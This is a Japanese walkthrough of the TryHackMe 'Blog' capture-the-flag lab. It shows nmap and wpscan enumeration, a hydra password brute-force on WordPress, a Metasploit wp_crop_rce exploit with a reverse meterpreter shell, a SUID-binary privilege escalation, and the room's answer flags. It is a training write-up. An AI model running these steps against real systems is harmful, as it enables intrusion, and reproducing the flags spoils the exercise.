【TryHackMe】Blog：Walkthrough

# 概要

TryHackMe「Blog」のWalkthroughです。

https://tryhackme.com/r/room/blog

# Task1

## **Q1**.*What version of the above CMS was being used?*

ポートスキャンを実行します。

```
$ nmap -Pn -T4 -sVC -A -p- 10.10.145.173 -oN nmap_result
PORT      STATE    SERVICE     VERSION
22/tcp    open     ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 57:8a:da:90:ba:ed:3a:47:0c:05:a3:f7:a8:0a:8d:78 (RSA)
|   256 c2:64:ef:ab:b1:9a:1c:87:58:7c:4b:d5:0f:20:46:26 (ECDSA)
|_  256 5a:f2:62:92:11:8e:ad:8a:9b:23:82:2d:ad:53:bc:16 (ED25519)
80/tcp    open     http        Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.0
|_http-title: Billy Joel&#039;s IT Blog &#8211; The IT blog
| http-robots.txt: 1 disallowed entry 
|_/wp-admin/
|_http-server-header: Apache/2.4.29 (Ubuntu)
139/tcp   open     netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open     netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
36333/tcp filtered unknown
52872/tcp filtered unknown
Service Info: Host: BLOG; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: blog
|   NetBIOS computer name: BLOG\x00
|   Domain name: \x00
|   FQDN: blog
|_  System time: 2024-11-01T08:37:04+00:00
|_nbstat: NetBIOS name: BLOG, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: mean: 1s, deviation: 0s, median: 0s
| smb2-time: 
|   date: 2024-11-01T08:37:04
|_  start_date: N/A
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 7.6p1|
|80|http|Apache httpd 2.4.29|
|139|smb|Samba smbd 3.X - 4.X|
|445|smb|Samba smbd 4.7.6-Ubuntu|

`80`番ポートにアクセスします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/81b5703f-8012-314e-2328-557d28003fa7.png)

`/wp-admin/`パスや、フッターから`Wordpress`の使用を確認できました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/c2dc8007-1785-3571-388e-a577a65e01e1.png)

`wpscan`で列挙します。

```
$ wpscan --url http://blog.thm -e --api-token <token>

[+] WordPress version 5.0 identified (Insecure, released on 2018-12-06).
 | Found By: Rss Generator (Passive Detection)
 |  - http://blog.thm/feed/, <generator>https://wordpress.org/?v=5.0</generator>
 |  - http://blog.thm/comments/feed/, <generator>https://wordpress.org/?v=5.0</generator>
```

バージョン`5.0`だと分かりました。

**A**.**5.0**

## **Q2**.*What CMS was Billy using?*

**A**.**Wordpress**

## **Q3**.*Where was user.txt found?*

**Hint**.*Not where you think!*

WPScanの結果から脆弱性情報と複数のアカウントを確認できました。

```
[+] WordPress version 5.0 identified (Insecure, released on 2018-12-06).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://10.10.44.140/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.0'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://10.10.44.140/, Match: 'WordPress 5.0'
 |
 | [!] 70 vulnerabilities identified:
 
[!] Title: WordPress 3.7-5.0 (except 4.9.9) - Authenticated Code Execution
 |     Fixed in: 5.0.1
 |     References:
 |      - https://wpscan.com/vulnerability/1a693e57-f99c-4df6-93dd-0cdc92fd0526
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8942
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8943
 |      - https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/
 |      - https://www.rapid7.com/db/modules/exploit/multi/http/wp_crop_rce
 
[i] User(s) Identified:

[+] kwheel
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://blog.thm/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] bjoel
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://blog.thm/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] Karen Wheeler
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By: Rss Generator (Aggressive Detection)

[+] Billy Joel
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By: Rss Generator (Aggressive Detection)

[+] WPScan DB API OK
 | Plan: free
 | Requests Done (during the scan): 2
 | Requests Remaining: 23
```

author以上の権限を持つアカウントの認証情報を得られれば、RCE出来そうです。

https://blog.trendmicro.co.jp/archives/20487

SMBの列挙をします。

```
$ enum4linux -a blog.thm
 ===================================( Share Enumeration on blog.thm )===================================
                                                                                                           
                                                                                                           
        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        BillySMB        Disk      Billy's local SMB Share
        IPC$            IPC       IPC Service (blog server (Samba, Ubuntu))
```

`BillySMB`という共有名を発見しました。
SMBに接続すると複数のファイルを確認できたので、全てダウンロードします。

```
smb: \> dir
  .                                   D        0  Tue May 26 14:17:05 2020
  ..                                  D        0  Tue May 26 13:58:23 2020
  Alice-White-Rabbit.jpg              N    33378  Tue May 26 14:17:01 2020
  tswift.mp4                          N  1236733  Tue May 26 14:13:45 2020
  check-this.png                      N     3082  Tue May 26 14:13:43 2020

                15413192 blocks of size 1024. 9789364 blocks available
```

`check-this.png`はQRコードになっており、読み込むと`Billy Joel`というアーティストの楽曲が出てきました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/3bf23261-b164-486c-8e71-46e34f7cbd9e.png)

https://youtu.be/eFTLKWw542g?si=1ernT3JZaA9tjJo6

その他有益な情報は得られませんでした。

`kwheel`のパスワードをブルートフォースで特定します。

```
$ hydra -f -l kwheel -P /usr/share/wordlists/rockyou.txt blog.thm http-post-form "/wp-login.php:log=kwheel&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fblog.thm%2Fwp-admin%2F&testcookie=1:F=The password" -t 40

[80][http-post-form] host: blog.thm   login: kwheel   password: cutiepie1
```

パスワードが判明し、`kwheel`ユーザーでログインに成功しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/64f42d5e-695d-0314-085b-66b28b3948a7.png)

Metasploitのモジュールを利用してRCEを試みます。

```
msf6 exploit(multi/http/wp_crop_rce) > show options

Module options (exploit/multi/http/wp_crop_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   cutiepie1        yes       The WordPress password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][.
                                         ..]
   RHOSTS     blog.thm         yes       The target host(s), see https://docs.metasploit.com/docs/
                                         using-metasploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   THEME_DIR                   no        The WordPress theme dir name (disable theme auto-detectio
                                         n if provided)
   USERNAME   kwheel           yes       The WordPress username to authenticate with
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.6.55.144      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   WordPress
```

`www-data`の権限取得に成功しました。

```
meterpreter > ls
Listing: /var/www/wordpress
===========================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100640/rw-r-----  235    fil   2020-05-28 08:15:42 -0400  .htaccess
100640/rw-r-----  235    fil   2020-05-27 23:44:26 -0400  .htaccess_backup
100644/rw-r--r--  1112   fil   2024-11-02 01:28:49 -0400  FreIMtquvc.php
```

`/home/bjoel/user.txt`は偽のユーザーフラグファイルでした。

```
meterpreter > cat /home/bjoel/user.txt
You won't find what you're looking for here.

TRY HARDER
```

SUIDの検索をすると、`/usr/sbin/checker`を発見しました。

```
$ find / -perm -u=s -type f 2>/dev/null

(省略)

/usr/sbin/checker
```

実行ファイルをダウンロードしGhidraでmain関数の処理を確認します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/dc365e53-c9e1-5ca7-741d-dc029ae72077.png)

```
undefined8 main(void)

{
  char *pcVar1;
  
  pcVar1 = getenv("admin");
  if (pcVar1 == (char *)0x0) {
    puts("Not an Admin");
  }
  else {
    setuid(0);
    system("/bin/bash");
  }
  return 0;
}
```

`getenv("admin")`で環境変数`admin`の値を取得し、0の場合、`Not an Admin`文字列を返し、それ以外は`uid`を0(root)に設定し、シェルを起動しています。

なので、環境変数を設定します。

```
$ export admin=1
```

設定後、`/usr/sbin/checker`を実行するとroot権限を取得できました。

```
$ /usr/sbin/checker
/usr/sbin/checker
root@blog:/etc# whoami
whoami
root
root@blog:/etc# id
id
uid=0(root) gid=33(www-data) groups=33(www-data)
```

ユーザーフラグを検索します。

```
$ find / -name *user.txt* 2>/dev/null
/home/bjoel/user.txt
/media/usb/user.txt
```

**A**.**/media/usb/user.txt**

## **Q4**.*user.txt*

`/media/usb/user.txt`からユーザーフラグを入手できました。

```/media/usb/user.txt
c8421899aae571f7af486492b71a8ab7
```

**A**.**c8421899aae571f7af486492b71a8ab7**

## **Q5**.*root.txt*

`/root/root.txt`からルートフラグを入手できました。

```/root/root.txt
9a0b2b618bef9bfa7ac28c1353d9f318
```

**A**.**9a0b2b618bef9bfa7ac28c1353d9f318**